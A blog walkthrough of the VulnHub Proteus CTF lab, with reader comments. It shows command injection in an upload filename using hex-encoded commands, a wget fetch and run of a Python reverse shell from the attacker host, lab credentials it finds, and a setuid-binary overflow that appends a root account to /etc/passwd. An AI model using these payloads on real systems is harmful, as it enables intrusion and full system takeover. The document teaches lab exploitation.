VulnHub Proteus Solution

      4 Comments on VulnHub Proteus Solution

For background information on this series of CTFs you may want to read this page. Or if your just after my solution please keep reading.

Proteus

Intro

An Easy / Intermediate level CTF from https://twitter.com/viljoenivan

This one takes on the appearance of a corporate malware analysis platform. and the description suggests we can not simply compile a kernel exploit to get root.

Link – https://www.vulnhub.com/entry/proteus-1,193/

Difficulty – Easy / Intermediate

My Solution

As always we start with an nmap scan.

root@Kali:~# nmap -p- -sV -A 192.168.5.59

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-19 09:05 BST
Nmap scan report for 192.168.5.59
Host is up (0.067s latency).
Not shown: 65532 closed ports
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 40:3e:c5:6f:dc:63:c5:af:43:51:28:5c:05:f5:98:c2 (RSA)
|_  256 bb:9c:b0:3c:ff:48:8a:2b:37:d2:fe:2e:78:ce:8c:a9 (ECDSA)
80/tcp   open     http    Apache httpd
|_http-server-header: Apache
|_http-title: Proteus | v 1.0
5355/tcp filtered llmnr
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.40%E=4%D=6/19%OT=22%CT=1%CU=40638%PV=Y%DS=2%DC=T%G=Y%TM=594787D
OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%II=I%TS=8)OPS(O1=M
OS:547ST11NW7%O2=M547ST11NW7%O3=M547NNT11NW7%O4=M547ST11NW7%O5=M547ST11NW7%
OS:O6=M547ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%
OS:DF=Y%T=40%W=7210%O=M547NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=
OS:0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
OS:T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%
OS:RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 139/tcp)
HOP RTT      ADDRESS
1   82.11 ms 10.0.8.1
2   40.97 ms 192.168.5.59

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 513.86 seconds

Port 22 – SSH has a banner throwing some random creds at it shows that the only auth method permitted is publickey.

Port 80 is a HTTP server that seems to be running a corporate malware analysis service.

When we upload a valid sample it runs strings and objdump against the file and displays the results.

First thought is to try and sneak a php file up, but it doesn’t seem that the sample is stored anywhere in the wwwroot.

Looking at the output from objdump we can see that the file we upload is given a new name, stored on disk and then the command line tools are run. This seems like a good spot for some command injection.

Using burp to intercept and modify the POST requests I confirm there is a command injection vulnerability by appending commands after the filename using ;

 

The results are displayed back in the browser.

I try a few options to gain a reverse shell or read some more interesting files but it looks like . and / break the injection and no results are displayed.

I try a combination of echo and base64 evaluated commands but the filename is converted to lower text chars, which breaks the base64 decode.

After a few other methods I find xxd and hex encoded commands will let me run complex commands without issue.

filename="met_443.elf;`echo 636174202f6574632f706173737764 | xxd -r -p`"

This command decodes the hex, which is cat /etc/passwd, and then executes the resulting text as a new command. The result is then displayed in the browser as before.

 

From here its relatively simple to get a reverse shell. After trying the normal netcat attempts it would appear the version of nc on this box doesnt have -e support.

So I use a local webserver to upload a python reverse shell and execute it.

The First command `echo 7767657420687474703a2f2f31302e302e382e332f7368656c6c2e7079202d4f202f746d702f7368656c6c2e7079 | xxd -r -p`. Is a simple download command. wget http://10.0.8.3/shell.py -O /tmp/shell.py

The second command `echo 707974686f6e202f746d702f7368656c6c2e7079 | xxd -r -p` runs the python script. python /tmp/shell.py

A few seconds later we get our shell.

Now on to to Privilege escalation.

i have a quick look around the Users home dir looking for any low hanging fruit. There is a config file in the web app that contains mysql root password.

const MYSQL_USERNAME    =   'root';
const MYSQL_PASSWORD    =   'viWJ.cgdf&3a]d3xh;C/c]&c?';
const MYSQL_HOST        =   '127.0.0.1';
const MYSQL_DATABASE    =   'proteus_db';

Using these to logon to the SQL server there is a single table for users that contains a hash. Looking through the source code for the app we can determine the hash is sha1(md5(salt.password)) and the salt is in the same config file we found the mysql password in.

I throw the hash in to a dictionary attack and add myself an admin account at the same time. Logging in with admin privs allows me to delete files but there doesn’t seem to be any immediate benefit to this.

Looking around i find 3 interesting files in the web app root. PROTEUS_INSTALL this is a text document that contains an RSA PRIVATE Key that was configured at install for the malwareadm account.

Attempting to authenticate with this certificate and its password protected :( I try a dictionary attack against the key with no joy.

The two other files are admin_login_logger and admin_login_request.js

// THIS IS JUST USED TO IMPERSONATE AN ADMIN FOR THE CHALLENGE

var username  = 'malwareadm';
var pwd = 'q-L%40X%21%7Bl_%278%7C%29o%3FQ%2BTapahQ%3C_';

var webPage = require('webpage');
var page = webPage.create();
var postBody = 'username=' + username + '&password=' + pwd;

page.open('http://127.0.0.1/samples', 'post', postBody, function (status) {
  if (status !== 'success') {
    console.log('Unable to post!');
  } else {
    console.log(JSON.stringify({
      cookies: phantom.cookies
    }));
  }
  phantom.exit();
});

It would seem this password is just used to log in to the web app. I try to use this same password for the malwareadm user and the ssh key with no joy.

admin_login_logger is a binary and more importantly for us it has a sticky bit set for root, which means any user can run this file with root privileges.

I send a copy of the file to my kali box so I can start playing with it.

Running strings show us the usage line for the binary. Looks like it takes a single command line argument.

Usage: %s ADMIN LOGIN ATTEMPT (This will be done with phantomjs)

Running the command with some random text shows it writes out to a logfile.

$ ./admin_login_logger somethinghere
Writing datafile 0x8a3c1d0: '/var/log/proteus/log'

We can’t read the logfile with our current permissions.

Time to take a closer look at whats happening.

Running the binary on our local machine we can see that whatever argument we pass to binary is saved in to the log file.

root@Kali:~/Dropbox/vulnhub/proteus# ./admin_login_logger blah
Writing datafile 0x84471d0: '/var/log/proteus/log'
root@Kali:~/Dropbox/vulnhub/proteus# cat /var/log/proteus/log

blah

Lets see what happens if we give this too much data.

It got very upset very quickly. We can also see that we have overwritten the filename that used to contain /var/log/proteus/log

Checking the local directory i can see a file named Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0A?? that contains the string of chars that i just passed in as an argument.

Looks like we can write to files, and as we are executing this as root. we can write out to any file on the disk.

After a few rounds of testing I noted the following caveats.

  • The text before the filename must be exactly 456 chars. This was confirmed using the pattern_create and pattern_offset utilities from Metasploit.

  • We always append to a file on a new line.
  • There are some junk chars that are written before the chars we enter.
  • The filename is also included in the output.
  • The filename can not exceed 27 characters.
  • The filename can be a relative path using ../.

My first thought is to add myself a publickey to the authorized_keys file. So I create a key and form the payload.

'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF/s8Qtn5Az0rEuiAhTSAMvWPW+UJzriAeAyrrSIcLTSmmQUnRNMWpqUQONdum58Zunu/n0KUggssiHL6xIGAqorzeCPkvH9W7NuQhL801eiwY80EpXDme8R6SMQfSSen3iyZ6r0lTkRLx/cGSQQ7ksJTReF2NQy1CXanrjh8kbOdqF4LKcHAobQxsgSirf01xQBpb0eIPsr0hQXjBPcxJAjr1J+4WR0OqZvLI0z2gXI5bRl9HmTBdkXV19QiTCQ0ry1oYaaUeJcVS+i2tNCxFMBvQ8sRr3ERX5oDlpFc3vAe2BCzOFy4UU0EpSeEWx2CkWfkaNDEKnMx9sxvEdc/P root@kaliAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA../../.ssh/authorized_keys’

I try it on a test rig and it works. The new data is appended to authorized_keys and I can log in with my cert.

When i run it love on the proteus box. The output suggests it worked, however I can not login with my key. After a couple of attempts to decide to try a new target.

If i can write out to /etc/passwd i can create myself a new account. But if I get it wrong I can break the box so it’s a more risky approach especially considering the caveats.

First create a password suitable for /etc/passwd.

root@kali:~/Dropbox/vulnhub/proteus# openssl passwd -1 -salt meh password
$1$meh$DxCr46ppI9WlCAGFbbFh..

Create the passwd entry.

thehermit:$1$meh$DxCr46ppI9WlCAGFbbFh..:0:0::/tmp

Calculate the amount of padding we need to make our overflow.

456 - len('thehermit:$1$meh$DxCr46ppI9WlCAGFbbFh..:0:0::/tmp/')

Create our exploit string.

‘thehermit:$1$meh$DxCr46ppI9WlCAGFbbFh..:0:0::/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/etc/passwd’

Then trigger it on the box.

And test our new account.

Success :)

With root privs we can now grab the root flag and complete the challenge.

The ssh authorized_keys file was still bugging me so I checked the file to see what had gone wrong. My new key was there exactly as i had expected it to be. I tried to run the exploit again this time using my new root account and as before the exploit worked, appending my data to the key file. Except this time it would allow me to login to the account.

I don’t know why it works from the root account, bit not from any other account. It must be a file permissions thing somewhere. Either way i have the root access so I can just add myself a new key anyway and login via SSH with a stable shell access :)

That’s all for this one. It was thoroughly enjoyed.

As usual Questions, Queries, Comments below.

  • BforBit

    This article is great! I just have one question, why you said that the filename is printed out after 456 chars and instead the exploit is long 440 characters?

    • Which part is 440? The final exploit string is 467 chars, this is 456 chars for the characters and 11 for the filepath.

      • bforbit

        When i try to do in a terminal
        python -c “print(str(len(‘Exploit_Here’)))”
        It return a value of 440.
        Instead if i try to do the same thing in an interactive python shell it says that the lenght is 467. Do you know why?

      • bforbit

        Sorry, i found the problem.
        I have to escape the ‘$’ character to return the exact lenght of the string